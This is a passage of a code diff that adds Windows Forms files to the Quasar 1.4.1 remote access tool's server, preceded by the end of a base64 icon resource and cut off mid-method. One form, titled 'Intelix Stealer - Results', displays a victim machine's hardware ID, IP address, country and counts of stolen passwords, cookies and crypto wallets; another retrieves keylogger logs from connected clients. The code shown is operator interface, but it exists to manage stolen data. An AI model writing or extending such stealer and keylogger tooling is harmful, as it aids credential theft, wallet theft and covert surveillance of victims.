If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs new file mode 100755 index 0000000..f36ccf2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs @@ -0,0 +1,174 @@ +namespace Quasar.Server.Forms +{ + partial class FrmIntelixResults + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblHwid = new System.Windows.Forms.Label(); + this.lblIp = new System.Windows.Forms.Label(); + this.lblCountry = new System.Windows.Forms.Label(); + this.lblPasswords = new System.Windows.Forms.Label(); + this.lblCookies = new System.Windows.Forms.Label(); + this.lblWallets = new System.Windows.Forms.Label(); + this.lblFilePathLabel = new System.Windows.Forms.Label(); + this.lblFilePath = new System.Windows.Forms.Label(); + this.btnOpenFolder = new System.Windows.Forms.Button(); + this.btnClose = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(12, 9); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(197, 21); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Intelix Stealer - Results"; + // + // lblHwid + // + this.lblHwid.AutoSize = true; + this.lblHwid.Location = new System.Drawing.Point(12, 45); + this.lblHwid.Name = "lblHwid"; + this.lblHwid.Size = new System.Drawing.Size(45, 13); + this.lblHwid.TabIndex = 1; + this.lblHwid.Text = "HWID: "; + // + // lblIp + // + this.lblIp.AutoSize = true; + this.lblIp.Location = new System.Drawing.Point(12, 65); + this.lblIp.Name = "lblIp"; + this.lblIp.Size = new System.Drawing.Size(68, 13); + this.lblIp.TabIndex = 2; + this.lblIp.Text = "IP Address: "; + // + // lblCountry + // + this.lblCountry.AutoSize = true; + this.lblCountry.Location = new System.Drawing.Point(12, 85); + this.lblCountry.Name = "lblCountry"; + this.lblCountry.Size = new System.Drawing.Size(52, 13); + this.lblCountry.TabIndex = 3; + this.lblCountry.Text = "Country: "; + // + // lblPasswords + // + this.lblPasswords.AutoSize = true; + this.lblPasswords.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblPasswords.Location = new System.Drawing.Point(12, 115); + this.lblPasswords.Name = "lblPasswords"; + this.lblPasswords.Size = new System.Drawing.Size(75, 15); + this.lblPasswords.TabIndex = 4; + this.lblPasswords.Text = "Passwords: "; + // + // lblCookies + // + this.lblCookies.AutoSize = true; + this.lblCookies.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblCookies.Location = new System.Drawing.Point(12, 135); + this.lblCookies.Name = "lblCookies"; + this.lblCookies.Size = new System.Drawing.Size(58, 15); + this.lblCookies.TabIndex = 5; + this.lblCookies.Text = "Cookies: "; + // + // lblWallets + // + this.lblWallets.AutoSize = true; + this.lblWallets.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblWallets.Location = new System.Drawing.Point(12, 155); + this.lblWallets.Name = "lblWallets"; + this.lblWallets.Size = new System.Drawing.Size(56, 15); + this.lblWallets.TabIndex = 6; + this.lblWallets.Text = "Wallets: "; + // + // lblFilePathLabel + // + this.lblFilePathLabel.AutoSize = true; + this.lblFilePathLabel.Location = new System.Drawing.Point(12, 185); + this.lblFilePathLabel.Name = "lblFilePathLabel"; + this.lblFilePathLabel.Size = new System.Drawing.Size(60, 13); + this.lblFilePathLabel.TabIndex = 7; + this.lblFilePathLabel.Text = "Saved to:"; + // + // lblFilePath + // + this.lblFilePath.AutoSize = true; + this.lblFilePath.Location = new System.Drawing.Point(12, 205); + this.lblFilePath.MaximumSize = new System.Drawing.Size(460, 0); + this.lblFilePath.Name = "lblFilePath"; + this.lblFilePath.Size = new System.Drawing.Size(0, 13); + this.lblFilePath.TabIndex = 8; + // + // btnOpenFolder + // + this.btnOpenFolder.Location = new System.Drawing.Point(12, 240); + this.btnOpenFolder.Name = "btnOpenFolder"; + this.btnOpenFolder.Size = new System.Drawing.Size(120, 30); + this.btnOpenFolder.TabIndex = 9; + this.btnOpenFolder.Text = "Open Folder"; + this.btnOpenFolder.UseVisualStyleBackColor = true; + this.btnOpenFolder.Click += new System.EventHandler(this.btnOpenFolder_Click); + // + // btnClose + // + this.btnClose.Location = new System.Drawing.Point(352, 240); + this.btnClose.Name = "btnClose"; + this.btnClose.Size = new System.Drawing.Size(120, 30); + this.btnClose.TabIndex = 10; + this.btnClose.Text = "Close"; + this.btnClose.UseVisualStyleBackColor = true; + this.btnClose.Click += new System.EventHandler(this.btnClose_Click); + // + // FrmIntelixResults + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(484, 282); + this.Controls.Add(this.btnClose); + this.Controls.Add(this.btnOpenFolder); + this.Controls.Add(this.lblFilePath); + this.Controls.Add(this.lblFilePathLabel); + this.Controls.Add(this.lblWallets); + this.Controls.Add(this.lblCookies); + this.Controls.Add(this.lblPasswords); + this.Controls.Add(this.lblCountry); + this.Controls.Add(this.lblIp); + this.Controls.Add(this.lblHwid); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmIntelixResults"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Intelix Stealer Results"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblHwid; + private System.Windows.Forms.Label lblIp; + private System.Windows.Forms.Label lblCountry; + private System.Windows.Forms.Label lblPasswords; + private System.Windows.Forms.Label lblCookies; + private System.Windows.Forms.Label lblWallets; + private System.Windows.Forms.Label lblFilePathLabel; + private System.Windows.Forms.Label lblFilePath; + private System.Windows.Forms.Button btnOpenFolder; + private System.Windows.Forms.Button btnClose; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs new file mode 100755 index 0000000..89c9f93 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs @@ -0,0 +1,68 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmIntelixResults : Form + { + private readonly string _filePath; + private readonly string _hwid; + private readonly string _publicIp; + private readonly string _countryCode; + private readonly long _passwordCount; + private readonly long _cookieCount; + private readonly int _walletCount; + + public FrmIntelixResults(string filePath, string hwid, string publicIp, string countryCode, + long passwordCount, long cookieCount, int walletCount) + { + _filePath = filePath; + _hwid = hwid; + _publicIp = publicIp; + _countryCode = countryCode; + _passwordCount = passwordCount; + _cookieCount = cookieCount; + _walletCount = walletCount; + + InitializeComponent(); + LoadResults(); + } + + private void LoadResults() + { + lblHwid.Text = $"HWID: {_hwid}"; + lblIp.Text = $"IP Address: {_publicIp}"; + lblCountry.Text = $"Country: {_countryCode}"; + lblPasswords.Text = $"Passwords: {_passwordCount:N0}"; + lblCookies.Text = $"Cookies: {_cookieCount:N0}"; + lblWallets.Text = $"Wallets: {_walletCount}"; + lblFilePath.Text = _filePath; + } + + private void btnOpenFolder_Click(object sender, EventArgs e) + { + try + { + if (File.Exists(_filePath)) + { + Process.Start("explorer.exe", $"/select,\"{_filePath}\""); + } + else + { + MessageBox.Show("File not found.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + catch (Exception ex) + { + MessageBox.Show($"Error opening folder: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnClose_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs new file mode 100755 index 0000000..e905b64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs @@ -0,0 +1,134 @@ +namespace Quasar.Server.Forms +{ + partial class FrmKeylogger + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmKeylogger)); + this.lstLogs = new System.Windows.Forms.ListView(); + this.hLogs = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.btnGetLogs = new System.Windows.Forms.Button(); + this.wLogViewer = new System.Windows.Forms.WebBrowser(); + this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.statusStrip.SuspendLayout(); + this.SuspendLayout(); + // + // lstLogs + // + this.lstLogs.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.lstLogs.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hLogs}); + this.lstLogs.Font = new System.Drawing.Font("Segoe UI", 8.25F); + this.lstLogs.FullRowSelect = true; + this.lstLogs.GridLines = true; + this.lstLogs.Location = new System.Drawing.Point(0, 31); + this.lstLogs.Name = "lstLogs"; + this.lstLogs.Size = new System.Drawing.Size(153, 431); + this.lstLogs.TabIndex = 0; + this.lstLogs.UseCompatibleStateImageBehavior = false; + this.lstLogs.View = System.Windows.Forms.View.Details; + this.lstLogs.ItemActivate += new System.EventHandler(this.lstLogs_ItemActivate); + // + // hLogs + // + this.hLogs.Text = "Logs"; + this.hLogs.Width = 149; + // + // statusStrip + // + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.stripLblStatus}); + this.statusStrip.Location = new System.Drawing.Point(0, 460); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Size = new System.Drawing.Size(862, 22); + this.statusStrip.TabIndex = 6; + this.statusStrip.Text = "statusStrip1"; + // + // btnGetLogs + // + this.btnGetLogs.Location = new System.Drawing.Point(2, 3); + this.btnGetLogs.Name = "btnGetLogs"; + this.btnGetLogs.Size = new System.Drawing.Size(149, 23); + this.btnGetLogs.TabIndex = 7; + this.btnGetLogs.Text = "Get Logs"; + this.btnGetLogs.UseVisualStyleBackColor = true; + this.btnGetLogs.Click += new System.EventHandler(this.btnGetLogs_Click); + // + // wLogViewer + // + this.wLogViewer.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.wLogViewer.Location = new System.Drawing.Point(154, 50); + this.wLogViewer.MinimumSize = new System.Drawing.Size(20, 20); + this.wLogViewer.Name = "wLogViewer"; + this.wLogViewer.ScriptErrorsSuppressed = true; + this.wLogViewer.Size = new System.Drawing.Size(708, 409); + this.wLogViewer.TabIndex = 8; + // + // stripLblStatus + // + this.stripLblStatus.Name = "stripLblStatus"; + this.stripLblStatus.Size = new System.Drawing.Size(77, 17); + this.stripLblStatus.Text = "Status: Ready"; + // + // FrmKeylogger + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(862, 482); + this.Controls.Add(this.wLogViewer); + this.Controls.Add(this.btnGetLogs); + this.Controls.Add(this.statusStrip); + this.Controls.Add(this.lstLogs); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(630, 465); + this.Name = "FrmKeylogger"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Keylogger []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmKeylogger_FormClosing); + this.Load += new System.EventHandler(this.FrmKeylogger_Load); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hLogs; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.WebBrowser wLogViewer; + private System.Windows.Forms.ListView lstLogs; + private System.Windows.Forms.Button btnGetLogs; + private System.Windows.Forms.ToolStripStatusLabel stripLblStatus; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs new file mode 100755 index 0000000..402ab45 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs @@ -0,0 +1,172 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmKeylogger : Form + { + /// + /// The client which can be used for the keylogger. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly KeyloggerHandler _keyloggerHandler; + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + /// + /// Holds the opened keylogger form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new keylogger form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the keylogger form. + /// + /// Returns a new keylogger form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmKeylogger CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmKeylogger f = new FrmKeylogger(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the keylogger form. + public FrmKeylogger(Client client) + { + _connectClient = client; + _keyloggerHandler = new KeyloggerHandler(client); + + _baseDownloadPath = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the keylogger message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _keyloggerHandler.ProgressChanged += LogsChanged; + MessageHandler.Register(_keyloggerHandler); + } + + /// + /// Unregisters the keylogger message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_keyloggerHandler); + _keyloggerHandler.ProgressChanged -= LogsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever the keylogger logs finished retrieving. + /// + /// The message processor which raised the event. + /// The status message. + private void LogsChanged(object sender, string message) + { + RefreshLogsDirectory(); + btnGetLogs.Enabled = true; + stripLblStatus.Text = "Status: " + message; + } + + private void FrmKeylogger_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); + + if (!Directory.Exists(_baseDownloadPath)) + { + 